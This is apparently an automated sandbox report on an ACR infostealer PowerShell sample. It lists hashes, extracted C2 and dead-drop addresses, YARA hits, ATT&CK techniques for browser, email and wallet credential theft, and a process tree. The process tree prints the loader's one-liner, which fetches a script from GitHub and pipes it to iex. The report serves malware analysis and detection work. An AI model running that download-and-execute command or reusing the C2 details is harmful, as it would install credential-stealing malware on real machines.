acrstealer | f3157b6f5a6958131d8d8421619ff1d24b3d7925cd2324fcd68743be6738ba1a

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 00:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ggl.ps1
Size 74KB
Sample260905-ah45mashnd
SHA256 f3157b6f5a6958131d8d8421619ff1d24b3d7925cd2324fcd68743be6738ba1a
MD5 9dfce27fcf78d960980348c5d4dfffa9
SHA1 67d2c8b8eaf0269e8a22b45033bd95f6911d7f58
SHA512 72d1e3a1b627419389f2f3ba2612b94938434746f38391cd1de4b8d7afff63ff6b4be148fffbe8d08210ae6a8c8ff1a2a9f0797c6c86bc4017c49f59fcfdd286
SSDEEP 1536:87CERKmTMVPHkK+66JXqhtHyzScs2zTlqNIACS7u3/IwOheu:87CERZTMVPETpJXqLy17lSIs7MI1gu
TLSH
T18D7301313A9466D8319EC8B30F49E45C3AD8A223F259AD5FF68DC0CDBE4B2AC55E4435
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.3.8-alpha2

mx.firgrove.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
019fd84c-02e7-7a67-9097-4f73d632de4a

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Detects ACRStealer V4.x 58 IoCs

resource	yara_rule
behavioral2/memory/2956-81-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-80-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-83-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-86-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-90-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-122-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-127-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-128-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-169-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-171-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-175-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-414-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-415-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-416-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-418-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-417-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-423-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-434-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-439-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-441-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-449-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-443-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-536-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-537-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-562-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1374-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1375-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1378-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1381-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1382-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1384-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1386-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1388-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1393-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1397-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1395-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1400-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1399-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1408-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1414-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1417-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1421-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1423-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1427-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1430-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1433-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1440-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1441-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1477-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-1514-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2636-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2639-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2643-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2645-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2647-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2648-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2649-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3
behavioral2/memory/2956-2687-0x0000000002F70000-0x000000000303C000-memory.dmp	family_acrstealer_v3

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 2956 created 4656	2956	rundll32.exe	80
PID 2956 created 4656	2956	rundll32.exe	80
PID 2956 created 4656	2956	rundll32.exe	80

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5536	powershell.exe
5	2956	rundll32.exe
12	2956	rundll32.exe
13	2956	rundll32.exe
14	2956	rundll32.exe
15	2956	rundll32.exe
123	2956	rundll32.exe
124	2956	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5536	powershell.exe
3124	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2956	rundll32.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3172	chrome.exe
252	msedge.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3124	PowerShell.exe
3124	PowerShell.exe
5536	powershell.exe
5536	powershell.exe
5536	powershell.exe
5536	powershell.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2956	rundll32.exe
2956	rundll32.exe
2956	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe
1900	msedge.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3124	PowerShell.exe
Token: SeSecurityPrivilege	3124	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3124	PowerShell.exe
Token: SeLoadDriverPrivilege	3124	PowerShell.exe
Token: SeSystemProfilePrivilege	3124	PowerShell.exe
Token: SeSystemtimePrivilege	3124	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3124	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3124	PowerShell.exe
Token: SeCreatePagefilePrivilege	3124	PowerShell.exe
Token: SeBackupPrivilege	3124	PowerShell.exe
Token: SeRestorePrivilege	3124	PowerShell.exe
Token: SeShutdownPrivilege	3124	PowerShell.exe
Token: SeDebugPrivilege	3124	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3124	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3124	PowerShell.exe
Token: SeUndockPrivilege	3124	PowerShell.exe
Token: SeManageVolumePrivilege	3124	PowerShell.exe
Token: 33	3124	PowerShell.exe
Token: 34	3124	PowerShell.exe
Token: 35	3124	PowerShell.exe
Token: 36	3124	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3124	PowerShell.exe
Token: SeSecurityPrivilege	3124	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3124	PowerShell.exe
Token: SeLoadDriverPrivilege	3124	PowerShell.exe
Token: SeSystemProfilePrivilege	3124	PowerShell.exe
Token: SeSystemtimePrivilege	3124	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3124	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3124	PowerShell.exe
Token: SeCreatePagefilePrivilege	3124	PowerShell.exe
Token: SeBackupPrivilege	3124	PowerShell.exe
Token: SeRestorePrivilege	3124	PowerShell.exe
Token: SeShutdownPrivilege	3124	PowerShell.exe
Token: SeDebugPrivilege	3124	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3124	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3124	PowerShell.exe
Token: SeUndockPrivilege	3124	PowerShell.exe
Token: SeManageVolumePrivilege	3124	PowerShell.exe
Token: 33	3124	PowerShell.exe
Token: 34	3124	PowerShell.exe
Token: 35	3124	PowerShell.exe
Token: 36	3124	PowerShell.exe
Token: SeDebugPrivilege	5536	powershell.exe
Token: SeShutdownPrivilege	2304	chrome.exe
Token: SeCreatePagefilePrivilege	2304	chrome.exe
Token: SeShutdownPrivilege	2304	chrome.exe
Token: SeCreatePagefilePrivilege	2304	chrome.exe
Token: SeShutdownPrivilege	2304	chrome.exe
Token: SeCreatePagefilePrivilege	2304	chrome.exe
Token: SeShutdownPrivilege	2304	chrome.exe
Token: SeCreatePagefilePrivilege	2304	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
2304	chrome.exe
1900	msedge.exe
3184	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 4180	3124	PowerShell.exe	89
PID 4180 wrote to memory of 2348	4180	csc.exe	90
PID 3124 wrote to memory of 4432	3124	PowerShell.exe	91
PID 4432 wrote to memory of 4592	4432	csc.exe	92
PID 3124 wrote to memory of 5536	3124	PowerShell.exe	93
PID 5536 wrote to memory of 2956	5536	powershell.exe	96
PID 5536 wrote to memory of 2956	5536	powershell.exe	96
PID 2956 wrote to memory of 2304	2956	rundll32.exe	98
PID 2304 wrote to memory of 2632	2304	chrome.exe	99
PID 2304 wrote to memory of 5236	2304	chrome.exe	100
PID 2304 wrote to memory of 3172	2304	chrome.exe	101
PID 2304 wrote to memory of 5236	2304	chrome.exe	100
PID 2304 wrote to memory of 3532	2304	chrome.exe	103
PID 2304 wrote to memory of 3532	2304	chrome.exe	103
PID 2304 wrote to memory of 5684	2304	chrome.exe	104
PID 2304 wrote to memory of 5684	2304	chrome.exe	104
PID 2304 wrote to memory of 4620	2304	chrome.exe	105
PID 2304 wrote to memory of 4620	2304	chrome.exe	105
PID 2304 wrote to memory of 2208	2304	chrome.exe	106
PID 2304 wrote to memory of 2208	2304	chrome.exe	106
PID 2304 wrote to memory of 2788	2304	chrome.exe	107
PID 2304 wrote to memory of 2788	2304	chrome.exe	107
PID 2956 wrote to memory of 1900	2956	rundll32.exe	108
PID 1900 wrote to memory of 2424	1900	msedge.exe	109
PID 1900 wrote to memory of 5912	1900	msedge.exe	111
PID 1900 wrote to memory of 252	1900	msedge.exe	112
PID 1900 wrote to memory of 5912	1900	msedge.exe	111
PID 1900 wrote to memory of 5912	1900	msedge.exe	111
PID 1900 wrote to memory of 3160	1900	msedge.exe	113
PID 1900 wrote to memory of 3160	1900	msedge.exe	113
PID 1900 wrote to memory of 3956	1900	msedge.exe	115
PID 1900 wrote to memory of 3956	1900	msedge.exe	115
PID 1900 wrote to memory of 3832	1900	msedge.exe	114
PID 1900 wrote to memory of 3956	1900	msedge.exe	115
PID 1900 wrote to memory of 3832	1900	msedge.exe	114
PID 1900 wrote to memory of 3832	1900	msedge.exe	114
PID 1900 wrote to memory of 5268	1900	msedge.exe	116
PID 1900 wrote to memory of 3616	1900	msedge.exe	117
PID 1900 wrote to memory of 5268	1900	msedge.exe	116
PID 1900 wrote to memory of 5268	1900	msedge.exe	116
PID 1900 wrote to memory of 3616	1900	msedge.exe	117
PID 1900 wrote to memory of 3616	1900	msedge.exe	117
PID 1900 wrote to memory of 4360	1900	msedge.exe	118
PID 1900 wrote to memory of 4360	1900	msedge.exe	118
PID 1900 wrote to memory of 244	1900	msedge.exe	119
PID 1900 wrote to memory of 244	1900	msedge.exe	119
PID 1900 wrote to memory of 4048	1900	msedge.exe	120
PID 1900 wrote to memory of 4048	1900	msedge.exe	120
PID 2772 wrote to memory of 3184	2772	firefox.exe	122
PID 2772 wrote to memory of 3184	2772	firefox.exe	122
PID 3184 wrote to memory of 1568	3184	firefox.exe	123
PID 3184 wrote to memory of 1568	3184	firefox.exe	123
PID 3184 wrote to memory of 1568	3184	firefox.exe	123
PID 3184 wrote to memory of 1568	3184	firefox.exe	123
PID 3184 wrote to memory of 368	3184	firefox.exe	124
PID 3184 wrote to memory of 368	3184	firefox.exe	124
PID 3184 wrote to memory of 368	3184	firefox.exe	124
PID 3184 wrote to memory of 368	3184	firefox.exe	124
PID 3184 wrote to memory of 4944	3184	firefox.exe	125
PID 3184 wrote to memory of 4944	3184	firefox.exe	125
PID 3184 wrote to memory of 4944	3184	firefox.exe	125
PID 3184 wrote to memory of 4396	3184	firefox.exe	126
PID 3184 wrote to memory of 4396	3184	firefox.exe	126
PID 3184 wrote to memory of 4396	3184	firefox.exe	126

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:4656
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ggl.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\srjusewe\srjusewe.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE584.tmp" "c:\Users\Admin\AppData\Local\Temp\srjusewe\CSC678E9FCB1C4C449488EEF2F035C6F1D.TMP"
      4⤵
      PID:2348
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ld0efr0\1ld0efr0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE67E.tmp" "c:\Users\Admin\AppData\Local\Temp\1ld0efr0\CSCE38B2EAF10A43328DB1D194F9027B2.TMP"
      4⤵
      PID:4592
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://raw.githubusercontent.com/cowenrty/issue/refs/heads/main/left | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5536
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2956
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffeac72c728,0x7ffeac72c734,0x7ffeac72c740
    3⤵
    PID:2632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1652,i,9744551170031411568,17070285686428314917,262144 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:2
    3⤵
    PID:5236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1908,i,6258862690110841638,12174078304698264628,524288 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2256,i,11985065466053118119,9845121301721270643,524288 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=2816 /prefetch:13
    3⤵
    PID:3532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,10655113864639269668,751127292458838148,2097152 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:5684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,1005047835578752297,16555932668968714007,2097152 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:4620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4484,i,3968412712300059887,4520677149341796300,2097152 --field-trial-handle=2044,i,241684337283303945,6900157381335078583,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
    3⤵
    PID:2208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
